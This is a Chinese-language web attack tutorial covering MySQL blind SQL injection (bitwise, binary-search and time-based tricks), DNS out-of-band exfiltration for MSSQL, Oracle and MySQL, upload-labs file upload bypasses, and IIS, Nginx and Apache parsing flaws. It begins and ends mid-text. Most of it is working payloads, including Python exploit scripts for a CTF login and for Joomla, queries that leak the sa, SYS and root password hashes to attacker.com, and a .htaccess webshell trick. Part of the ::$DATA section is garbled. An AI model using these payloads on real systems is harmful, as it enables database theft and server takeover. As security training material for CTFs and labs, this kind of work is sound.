update users set username = '0'|if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1) where id=15;
insert into users values (16,'K0rz3n','0'| if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1));
基于布尔的盲注
使用条件
基于布尔的盲注是在这样的一种情况下使用:页面虽然不能返回查询的结果,但是对于输入 布尔值 0 和 1 的反应是不同的,那我们就可以利用这个输入布尔值的注入点来注入我们的条件语句,从而能根据页面的返回情况推测出我们输入的语句是否正确(输入语句的真假直接影响整条查询语句最后查询的结果的真假)
注意:
另外,虽然我们构造语句的目的是让整条语句在某种情况下最后查不到结果,但是这其中其实隐含了两种情况,一种就是真的没有查到结果,使得页面的返回有所不同,但是还有一种可能就是我们构造语句让其报错,这样同样让页面的返回有所不同,但是我个人往往不愿意将这种报错的模式再另外划分出一个什么报错盲注,这里我就统一将其划分到布尔盲注中了,因为本质是一样的,所以这一部分还会设计一些报错注入的东西。
简单举例
这里可以举一个 SQL SERVR 的例子来说明这种攻击的原理:
我们注入的语句会验证当前用户是否是系统管理员(sa)。如果条件为true,则语句 强制数据库通过执行除零来抛出错误。否则则执行一条有效指令。
mysql 的语句构造方式也很简单
mysql> select 123 from dual where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
mysql> select 123 from dual where 1=0;
Empty set (0.00 sec)
再或者我们还能在 order by 后面构造
mysql> select 1 from admin order by if(1,1,(select 1 union select 2)) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
+---+
2 rows in set (0.09 sec)
mysql> select 1 from admin order by if(0,1,(select 1 union select 2)) limit 0,3;
ERROR 1242 (21000): Subquery returns more than 1 row
这里产生报错是因为,Union 查询返回的是两行,这两行都可以作为 order by 的依据,然后系统不知道该选哪一个,于是产生了错误。if 的第一个参数为真的时候不会产生错误,为假的时候产生错误,通过这种方式我们就可以判断出我们构造的条件语句的正确与否。
写到这里其实我还想起了一个比较经典的报错方式,就是使用 floor(rand(0)*2)
配合 group by count(*)
进行报错的方式,虽然之前这个用在报错注入但这里正好可以利用这个进行报错,我们来测试一下
select 1 from admin order by if(1,1,(select count(*) from mysql.user group by floor(rand(0)*2))) limit 0,3;
mysql> select 1 from bsqli order by if(1,1,(select count(*) from mysql.user group by floor(rand(0)*2))) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
+---+
2 rows in set (0.39 sec)
mysql> select 1 from bsqli order by if(0,1,(select count(*) from mysql.user group by floor(rand(0)*2))) limit 0,3;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
其实不光是这条语句,很多报错注入的语句也可以直接拿来替换(当然并不是全部,比如 select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x 这个 payload 似乎就不能成功),这里只是一个小小的例子而已,关于这个语句为什么会报错,其实还是一个和有意思的探究,有兴趣的同学可以看一下这篇文章 传送门
构造条件语句还有很多方式,这不同的数据库中是由细微差别的,下表列出了一些例子
高级案例
这里我想讲的高级技巧就是 MySQL 数据库的位操作,所谓位操作就是将给定的操作数转化为二进制后,对各个操作数每一位都进行指定的逻辑运算,得到的二进制结果转换为十进制数后就是位运算的结果。
举几个例子:
1.使用 &
mysql> select * from bsqli where id = 1 & 1;
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 & 0;
Empty set (0.00 sec)
2.使用 |
mysql> select * from bsqli where id = 0 | 1;
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 0 | 0;
Empty set (0.00 sec)
3.使用 ^
上面两种可能使用的并不是很多,但是这个 ^ 异或使用的就是非常的频繁的,现在 CTF 动不动就来这个操作
mysql> select * from bsqli where id = 1^0;
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1^1;
Empty set (0.00 sec)
当然,还有一个异或是 XOR ,这个异或是逻辑运算符,和 ^ 还是有本质区别的,我们可以把 XOR 理解为求补集的过程
这里其实还可以举一个 CTF 题目出来,正好是我做赛前培训的一到例题:
index.php
<!DOCTYPE html>
<html>
<head>
<title>login</title>
</head>
<body>
<from action="index.php?action=login" method="POST">
username: <input type="text" name="username"></br>
password: <input type="password" name="password"></br>
<input type="submit">
</from>
</body>
</html>
<?php
session_start();
require("conn.php");
$action = isset($_GET['action']) ? $_GET['action'] : '';
function filter($str){
$pattern = "/ |*|#|;|,|is|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
if(preg_match($pattern, $str)){
die("hacker");
}
return $str;
}
if($action === 'login'){
$username = isset($_POST['username']) ? filter(strtolower(trim($_POST['username']))) : '';
$password = isset($_POST['password']) ? md5($_POST['password']) : '';
if($username == ''){
die("Invalid username");
}
$result = $mysqli->query("SELECT * FROM users WHERE username = '{$username}'");
$row = mysqli_fetch_array($result);
if(isset($row['username'])){
if($row['password'] === $password){
$_SESSION['username'] = $username;
$_SESSION['flag'] = $row['flag'];
header('Location: index.php?action=main');
}
}else{
echo "Invalid username or password";
}
exit;
}elseif($action === 'main'){
if(!isset($_SESSION['username'])){
header("Location: index.php");
exit;
}
echo "Hello, " . $_SESSION['username'] . ", " . $_SESSION['flag'] . "<br>n";
}else{
if(isset($_SESSION['username'])){
header("Location: index.php?action=main");
exit;
}
}
highlight_file(__FILE__);
?>
可以看到这里过滤了很多东西,但是没有过滤 ^ ,我们可以利用这个点做文章
我们可以构造条件语句来进行对flag字段进行猜解,当语句错误时,查询条件则为 ‘1’0’’,得1,数据库查询不到结果,网页会返回’Invalid username or password’
当语句正确时,查询条件则为 ‘1’1’’ ,数据库有返回结果,网页则不返回’Invalid username or password’。因此可以用它来当语句正确与否的标志,然后逐字猜解即可获得flag
我下面给出这个代码的 exp
exp.py
import requests
url = "http://xxx.xxx.xxx.xxx:8300/index.php?action=login"
data = {
"username": "",
"password": "123"
}
payload = "1'^(ascii(mid((flag)from({})))>{})^'"
flag = ""
for i in xrange(1, 39):
start = 32
end = 126
while start < end:
mid = (start + end) / 2
data['username'] = payload.format(str(i), str(mid))
r = requests.post(url, data = data)
if 'Invalid username or password' not in r.content:
start = mid + 1
else:
end = mid
flag += chr(start)
print flag
可以好好看一下这个 payload 部分是怎么构造的,联系一下我们之前讲过的内容分析一下。
4.使用 ~
这个方法是这样的,当系统不允许输入大的数字的时候,可能是限制了字符的长度,限制了不能使用科学计数法,但是我们还是想让其报错,我们就能采取这种方式,如下所示
mysql> select ~1 ;
+----------------------+
| ~1 |
+----------------------+
| 18446744073709551614 |
+----------------------+
1 row in set (0.00 sec)
mysql> select bin(~1);
+------------------------------------------------------------------+
| bin(~1) |
+------------------------------------------------------------------+
| 1111111111111111111111111111111111111111111111111111111111111110 |
+------------------------------------------------------------------+
1 row in set (0.32 sec)
我想学过二进制的就一目了然了,这种方法往往用在报错注入,但是实际上我之前说了,我还是把这种方式归为布尔盲注里面,请看下面的两个例子
示例1:
mysql> select * from bsqli where id = 1 and if(1,1,exp(~(select * from (select database())a)));
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 and if(0,1,exp(~(select * from (select database())a)));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `a`.`database()` from (select database() AS `database()`) `a`)))'
示例2:
mysql> select * from bsqli where id = 1 and if(1,1,1-~1);
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 and if(0,1,1-~1);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 - ~(1))'
5.使用 << 或 >>
这个想法来源于外国人的一个测试 文章地址,实际上这个方法是我们平时用的二分法的优化(好久没看这个 exploit-db 怎么变成这么炫酷了~ 逃
因为这篇文章讲的可以说是文不加点了,所以我就直接将其中的一部分翻译过来做简单的说明
我们想测试 user() 用户的第一个字符,我们需要像下面这样做
(1)首先我们右移7位,可能的结果是1和0。
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 7)=0 |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)
此时说明第一个 Bit 位为 0
0???
(2)下一位是0或1所以我们把它和0比较。
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 6)=0 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)
此时我们知道第二位 Bit 位为 1
01???
(3)接下来的前三位可能有下面两种
010 = 2
011 = 3
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 5)=2 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)
说明第三 Bit 是 1
011???
…
(8)最后能判断
mysql> select (ascii((substr(user(),1,1))) >> 0)=114;
+----------------------------------------+
| (ascii((substr(user(),1,1))) >> 0)=114 |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)
最终的第一个字符的二进制是:
01110010
mysql> select b'01110010';
+-------------+
| b'01110010' |
+-------------+
| r |
+-------------+
1 row in set (0.00 sec)
最终的字符是 r
6.一点点补充
同样补充一下关于 inster 和 update 的盲注示例
update users set username = '0' | (substr(user(),1,1) regexp 0x5e5b6d2d7a5d) where id=14;
insert into users values (15,'K0rz3n','0'| (substr(user(),1,1) regexp 0x5e5b6d2d7a5d));
数据提取方法
由于是盲注,我们看不到我们的数据回显,我们只能根据返回去猜解,那么在对数据库一无所知的情况下我们只能一位一位地猜解,这里就会用到一些截断函数以及一些转换函数。
比较常见的是 mid() substr() locate() position() substring() left() regexp like rlike length() char_length() ord() ascii() char() hex() 以及他们的同义函数等,当然这里还可能会需要很多的转换,比如过滤了等于号可以通过正则或者 in 或者大于小于号等替换之类的,这部分内容我会放在别的文章梳理一下,这里就不赘述了。
举几个简单的例子:
示例1
测试情况:
1'and if(length(database())=1,sleep(5),1) # 没有延迟
1'and if(length(database())=2,sleep(5),1) # 没有延迟
1'and if(length(database())=3,sleep(5),1) # 没有延迟
1'and if(length(database())=4,sleep(5),1) # 明显延迟
**说明:**数据库名字长度为 4
示例2
测试情况:
1'and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
1'and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1'and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
**说明:**数据库名的第一个字符为小写字母d
示例3
测试情况:
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[a-f]' AND
ID=1)
False
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[0-9]' AND
ID=1)
True
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[0-4]' AND
ID=1)
False
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[5-9]' AND
ID=1)
True
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[5-7]' AND
ID=1)
True
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^5' AND
ID=1)
True
**说明:**密码 hash 的第一个字符为5
更多函数例如 left 以及更详细的用法指南请见这篇文章的字符串部分 [传送门](http://www.k0rz3n.com/2019/01/30/SQL 基础语法的小总结/)
二分法提取数据
实际上我们上面的例子里面已经涉及到部分二分法的知识了,二分法对于我们猜解来讲是提高效率的非常好的方法,简单的说就是先和范围中间的值进行比较,然后判断数据是在中间值左边部分还是右边部分,然后继续相同的操作,直到正确猜中
想了一下是画图后来觉得不如直接上代码,下面是 C 语言实现二分法查找的一个例子 :
int search(int arr[],int n,int key)
{
int low = 0,high = n-1;
int mid,count=0;
while(low<=high)
{
mid = (low+high)/2;
if(arr[mid] == key)
return mid;
if(arr[mid]<key)
low = mid + 1;
else
high = mid - 1;
}
return -1;
}
下面是一个示例代码,来源于 这篇文章,其实我上面的那个 CTF 题的 EXP 也用的是二分法
# -*- coding:UTF-8 -*-
import requests
import sys
# 准备工作
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}
response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)
print(response.text)
i = 1
while i <= 7:
left = 0
right = len(string) - 1
mid = int((left + right) / 2)
print('n')
print(flag)
print('Testing... ' + str(left) + ' ' + str(right))
# 特殊情况
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timout=2)
if ('安全令牌无效') in response.text:
flag = flag + string[right]
print(flag)
exit()
else:
flag = flag + string[left]
print(flag)
exit()
# 二分法
while 1:
mid = int((left + right) / 2)
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timeout=2)
# 右半部
if ('安全令牌无效') in response.text:
left = mid + 1
print('left:'+str(left))
# 左半部
else:
right = mid
print('right:'+str(right))
if (left == right):
flag = flag + string[left]
break
# 特殊情况
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timeout=2)
if ('安全令牌无效') in response.text:
flag = flag + string[right]
print(flag)
break
else:
flag = flag + string[left]
print(flag)
break
i += 1
print(flag)
高级技巧
这里要讲的高级技巧就是著名的 Blind OOB(out of bind),在盲注中使用 dns 进行外带的技巧,当然这个方法是有限制条件的,
要求 :
除了Oracle 支持 windows 和 Linux 系统的攻击以外其他攻击只能在Windows环境下(UNC路径)
简单介绍:
服务器可以将 DNS 查询从安全系统转发到互联网中任意 DNS 服务器,这种行为构成了不受控制的数据传输通道的基础。即使我们假设不允许服务器与公共网络连接,如果目标主机能够解析任意域名,也可以通过转发的 DNS 查询进行数据外带。在 sql 盲注中我们通常以逐位方式检索数据,这是非常繁琐且耗时的过程。因此,攻击者通常需要数万个请求来检索常规大小的表的内容。
而这种 DNS 外带的方式,可以使得攻击者通过从易受攻击的数据库管理系统(DBMS)发出特制的DNS请求,攻击者可以在另一端拦截来查看恶意SQL查询(例如管理员密码)的结果,在这种情况下每次能传输数十个字符。
此类攻击最有可能发生在任何接受网络地址的功能上,下面是整个攻击过程的示意图:
针对 MsSQL
扩展存储过程是直接在Microsoft SQL Server(MsSQL)的地址空间中运行的动态链接库。攻击者可以使用部分存储过程配合符合 Windows Universal Naming Convention(通用命名规则UNC)的文件和路径格式来触发 DNS 解析
格式如下:
\ComputerNameSharedFolderResource
通过将 ComputerName 设置为自定义的地址的值,攻击者能够完成攻击,下面是可以利用的扩展。存储过程。
master…xp_dirtree
这个扩展存储过程用来获取指定的目录列表和其所有子目录,使用方式如下:
master..xp_dirtree '<dirpath>'
比如想要获取 C:Windows 目录下的所有目录及其子目录
EXEC master..xp_dirtree 'C:Windows';
master…xp_fileexist
这个扩展存储过程能判断某一文件是否在磁盘上,使用方式如下:
xp_fileexist '<filepath>'
例如想要检查 boot.ini 这个文件是否在 C盘
EXEC master..xp_fileexist 'C:boot.ini';
master…xp_subdirs
这个扩展存储过程可以给出指定的目录下的所有目录列表,使用方式如下:
master..xp_subdirs '<dirpath>'
例如:列出 C:Windows 下的所有第一层子目录
EXEC master..xp_subdirs 'C:Windows';
实战案例
下面的例子讲述的是如何通过 master…xp_dirtree() 这个扩展存储过程将 sa 的密码的 哈希值通过 DNS 请求外带
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.attacker.com';
EXEC('master..xp_dirtree "\'+@host+'foobar$"');
使用此预先计算形式是因为扩展存储过程不接受子查询作为给定参数值。 因此使用临时变量来存储SQL查询的结果。
针对 Oracle
Oracle提供了一套PL / SQL软件包及其Oracle数据库服务器来扩展数据库功能。 其中几个特别适用于网络访问,从而能很好地在攻击中加以利用。
UTL_INADDR.GET_HOST_ADDRESS
包UTL_INADDR提供了Internet寻址支持 – 例如检索本地和远程主机的主机名和IP地址。 其中成员函数 GET_HOST_ADDRESS()
检索指定主机的IP地址,使用方法:
UTL_INADDR.GET_HOST_ADDRESS('<host>')
例如,要获取主机test.example.com的IP地址,
SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com');
UTL_HTTP.REQUEST
包UTL_HTTP从SQL和PL / SQL发出HTTP调用。 它的方法 REQUEST()可以返回从给定地址获取的前2000个字节的数据,使用方法:
UTL_HTTP.REQUEST('<url>')
例如,想获取 http://test.example.com/index.php开头的 2000 字节数据
SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;
HTTPURITYPE.GETCLOB
类HTTPURITYPE的实例方法GETCLOB()返回从给定地址检索的 Character Large Object(CLOB),使用方法:
HTTPURITYPE('<url>').GETCLOB()
例如,要从位于http://test.example.com/index.php的页面启动内容检索,请运行:
SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;
DBMS_LDAP.INIT
包 DBMS_LDAP 使 PL/SQL程序员能够从轻量级目录访问协议(LDAP)服务器访问数据。 它的INIT()过程用于初始化LDAP服务器的会话,
DBMS_LDAP.INIT(('<host>',<port>)
例如 与 主机 test.example.com 初始化一个链接
SELECT
DBMS_LDAP.INIT((‘test.example.com’,80) FROM
DUAL;
注意:
攻击者可以使用任何提到的Oracle子例程来激发DNS请求。 但是,从Oracle11g开始,可能导致网络访问的子例程受到限制,但DBMS_LDAP.INIT() 除外
实战案例
以下是使用 Oracle程序DBMS_LDAP.INIT()通过DNS解析机制推送系统管理员(SYS)密码哈希的示例
SELECT DBMS_LDAP.INIT((SELECT password
FROM SYS.USER$ WHERE
name=’SYS’)||’.attacker.com’,80) FROM DUAL;
针对 MySQL
mysql 相对于前面两个数据库系统来讲就显得方法单一,只提供了一个可以利用的方法,不过还是需要条件的
利用条件
在MySQL中,存在一个称为 “secure_file_priv” 的全局系统变量。此变量用于限制数据导入和导出,例如由LOAD DATA和SELECT … INTO OUTFILE语句和LOAD_FILE()函数执行的操作。
(1)如果将其设置为目录名称,则服务器会将导入和导出操作限制为仅适用于该目录中的文件。而且该目录必须存在,服务器不会自动创建它。
(2)如果变量为空(没有设置),则可以随意导入导出(不安全)
(3)如果设置为NULL,则服务器禁用所有导入和导出操作。从MySQL 5.5.53开始,该值为默认值
另外 ‘secure_file_priv’ 是一个全局变量,且是一个只读变量,这意味着你不能在运行时更改它。
我们可以使用下面的语句查询
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
mysql> select @@secure_file_priv;
+--------------------+
| @@secure_file_priv |
+--------------------+
| |
+--------------------+
1 row in set (0.00 sec)
此时我的 mysql 这个选项没有设置,所以可以使用这个方法
LOAD_FILE
mysql 的 LOAD_FILE() 能读取文件内容然后返回对应的字符串,使用方法
LOAD_FILE('<filepath>')
例如想获取 C:Windowssystem.ini 的内容
SELECT LOAD_FILE('C:\Windows\system.ini');
实战案例
以下是使用MySQL函数LOAD_FILE()通过DNS解析机制推送系统管理员(root)密码哈希的示例:
SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\foobar'));
我本地也做了对应的测试
select load_file(concat('\\',@@version,'.9a56627dc016fc8b5c6e.d.zhack.ca\a.txt'));
当然我们可以对这个 payload 进行必要的编码
select load_file(concat(0x5c5c5c5c,@@version,0x2E62383862306437653533326238663635333164322E642E7A6861636B2E63615C5C612E747874));
注意: mysql 编码的时候每个反斜线都要加一个反斜线来转义
这种方式可以用于 union 和 error-base 的 sqli 中,如下
http://192.168.0.100/?id=-1'+union+select+1,load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)),3-- -
http://192.168.0.100/?id=-1' or !(select*from(select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))x)-~0-- -
http://192.168.0.100/?id=-1' or exp(~(select*from(select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))a))-- -
当然除了or 你还可以用以下 ||, |, and, &&, &, >>, <<, ^, xor, <=, <, ,>, >=, *, mul, /, div, -, +, %, mod.
sqlmap 的扩展
由于这种在攻击中方便快捷的特性,sqlmap 也进行了响应的扩展来支持这种攻击方式,添加了新的命令行参数 —dns-domain
使用时指定对应的服务器
--dns-domain=attacker.com
但是因为 sqlmap 在运行过程中遵循的是 union 和 error-base 优先级最高的原则,所以只有当攻击是基于 blind 并且用户使用了上面的选项时 dns 攻击才会开始
另外每个得到的DNS解析请求都被编码为十六进制格式,因为这是DNS域名的(事实上的)标准,这样就可以保留所有最终的非单词字符。此外,较长的SQL查询结果的十六进制表示被分成几部分,这样做是因为完整域名内的每个节点的标签(例如.example.)的长度限制为63个字符。
文件上传
一般概念
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
测试过程
此处以开源靶场upload-labs为例。常规上传测试,主要为判断上传漏洞类型,进行针对性的防护绕过:
Pass-01 绕过前段js检查
检验代码:
<script type="text/javascript"> function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
} </script>
删除 return checkFile() 即可绕过。或者用浏览器插件禁用js然后进行上传。
Pass-02 白名单-Content-type绕过
方法一:绕过前段(删去js限制或者改为.jpg等),通过burpsuite抓包,修改MIME
方法二:加后缀.jpg可直接绕过MIME,但提交时需要抓包删去.jpg
Content-Type: application/octet-stream 改为:Content-Type: image/png 即可上传绕过:
Pass-03 黑名单-特殊可解析后缀绕过
绕过黑名单方法较多:使用.php2.phtml.phps、大小写、双写php等。这里使用.php2绕过,实战的话根据服务端配置进行测试。
上传的是.php2这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有如下配置代码
AddType application/x-httpd-php .php2 .phtml .phps
AddType 指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME-type指明了包含extension扩展名的文件的媒体类型。
Pass-04 黑名单-.htaccess 绕过
本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|
.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|
.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|
.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!唯独没禁.htaccess后缀!
所以我们构造.htaccess文件:AddType application/x-httpd-php .jpg .conf
这里代码的意思是把.jpg/.conf等后缀名文件以php格式解析,因此达到了可执行的效果。
没有上传.htaccess 文件前:
上传.htaccess 文件后被解析成php文件。
注: .htaccess文件生效前提条件为1.mod_rewrite模块开启。2.AllowOverride All
Pass-05 黑名单-大小写绕过
加上了.htaccess,但是没有对后缀统一大小,所以我们可以通过大小写绕过:
Pass-06 黑名单-空格绕过
查看代码,这里将文件后缀名统一进行了小写转换,
但是没有去除文件名首尾的空格。所以我们可以利用windows系统的命名规则进行绕过。
Pass-07 黑名单-点绕过
原理同Pass-07,代码中没有对点进行过滤,所以利用windows特性,通过抓包在后缀名加”.”绕过:
Pass-08 黑名单-::$DATA绕过
查看代码,发现没有对后缀名进行去”:: D A T A ”处理,利用 w i n d o w s 的特性,通过抓包在后缀名后加” : : DATA”处理,利用windows的特性,通过抓包在后缀名后加” :: DATA”处理,利用windows的特性,通过抓包在后缀名后加”::DATA”绕过:
知识点:文件名+“:: D A T A " 会把 : : DATA"会把:: DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA"之前的文件名。
Pass-09 黑名单-点空点绕过
查看代理,发现这里的代码逻辑是先删除文件名末尾的点,再进行首尾去空。都只进行一次。所以我们构造点空格点进行绕过,把后缀名改为1.php. .,也是利用了Windows的特性。
Pass-10 黑名单-双写绕过
上传一个正常文件发现php被吃掉了。
代码一看,发现这里将php后缀名替换为空,于是可以利用双写绕过:
Pass-11 白名单-%00截断绕过(get)
查看代码,本关使用了白名单,只允许上传,jpg,png,gif三种格式文件。但是发现使用$img_path直接拼接
(利用 get[‘save_path’] 和随机时间函数进行拼接,拼接成文件存储路径。),因此可以利用%00截断绕过
截断条件:
1、php版本小于5.3.4 2、php.ini的magic_quotes_gpc为OFF状态
知识点:这里利用的是00截断。move_uploaded_file函数的底层实现类似于C语言,遇到0x00会截断。
Pass-12 白名单-%00截断绕过(post)
查看代码,发现这关和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码
修改二进制进行截断
上传成功,返回路径:
Pass-13 图片马 绕过(unpack)
本关要求上传图片马,那么我们就使用cmd制作图片马来进行绕过:copy 1.jpg /b + 1.php /a test.jpg
下面是我们隐藏的小马儿:
当然我们是无法直接利用图片马的,它需要配合其他漏洞进行使用。比如:包含漏洞,解析漏洞。。。
知识点:unpack() 函数从二进制字符串对数据进行解包。
Pass-14 图片马绕过 - getimagesize
这里用getimagesize获取文件类型,还是直接就可以利用图片马就可进行绕过:
知识点:getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
Pass-15 图片马绕过 - exif_imagetype()
本pass使用exif_imagetype()检查是否为图片文件!
这里用到php_exif模块来判断文件类型,还是直接就可以利用图片马进行绕过:
注:需要开启php_exif模块
解析漏洞
利用上传漏洞,通常需要结合Web容器(IIS、Nginx、Apache、Tomcat)的解析漏洞来让上传的漏洞得到实现
IIS解析漏洞
IIS5.x/IIS 6.0文件解析漏洞
-
目录名中含有
.asp
字符串的(目录下)均按照asp文件进行解析;例如:index.asp/
目录中的所有文件都会asp解析当出现
xx.asp
命名的文件名,访问目录下任意一个文件,均会送给asp.dll解析(执行asp脚本) -
文件名中含有
.asp;
字符,即使时jpg格式文件,IIS也会按照asp对文件进行解析当文件名
xx.asp;xx.jpg
,IIS6会将文件送给asp.dll解析(按照asp脚本解析);请求时:IIS从左往右检查
.
号,查询到;
或/
号则(内存)截断;如此执行后,IIS认识的就是xx.asp
-
默认解析:
.asa
.cer
.cdx
IIS6 同时默认解析前面三个文件后缀,都会给asp.dll解析 -
修复方案:
设置权限,限制用户创建、修改文件夹权限
更新微软的补丁或者自定义修改IIS的检测规则,阻止上传非法的文件名后缀
IIS7.0/7.5
-
默认开启 Fast-CGI 状态,在一个服务器文件URL地址后面添加
xx.php
会将xx.jpg/xx.php
解析为PHP文件 -
修复方法:
修改php.ini文件,将
cgi.fi: x_pathinfo
设置为 0IIS7的解析漏洞主要是由于PHP的配置不当导致的
Windows操作系统中,文件名不能以空格或“.”开头,也不能以空格或“.”结尾。当把一个文件命名为以空格或“.”开头或结尾时,会自动地去掉开头和结尾处的空格和“.”。利用此特性,也可能造成“文件解析漏洞”。
Nginx解析漏洞
Nginx <= 0.8.37
影响版本:0.5/0.6/<0.7.65/<0.8.37
-
Fast-CGI开启状态下,存在如同IIS7一样的漏洞:URL地址后面添加
xx.php
会将xx.jpg/xx.php
解析为PHP文件空字节:
xx.jpg%00.php
(部分版本中,Fast-CGI关闭下也会被执行) -
修复方法:
修改php.ini文件,将
cgi.fix_pathinfo
设置为 0 [关闭]再Nginx配置中设置:当类似
xx.jpg/xx.php
的URL访问时候,返回403;if ( $fastcgi_script_name ~ ..*/.*php) { return 403 ; }
Apache解析漏洞
Apache后缀名解析漏洞
-
Apache解析文件的规则时从右到左开始判断,如果后缀名为不可识别文件解析,则会继续向左判断,直至可以正确识别
xxx.php.owf.zip
其中.owf
和.zip
文件后缀Apache不识别,直至判断.php
才会按照PHP解析文件 -
修复方法:
Apache配置中,禁止
xx.php.xxx
类似的文件执行<Files ~ "/.(php.|php3.)"> Order Allow,Deny Deny from all </Files>
Apache"%0A"绕过上传黑名单 [CVE-2017-15715]
-
Apache中存在一个上传的判断逻辑:(自定义)
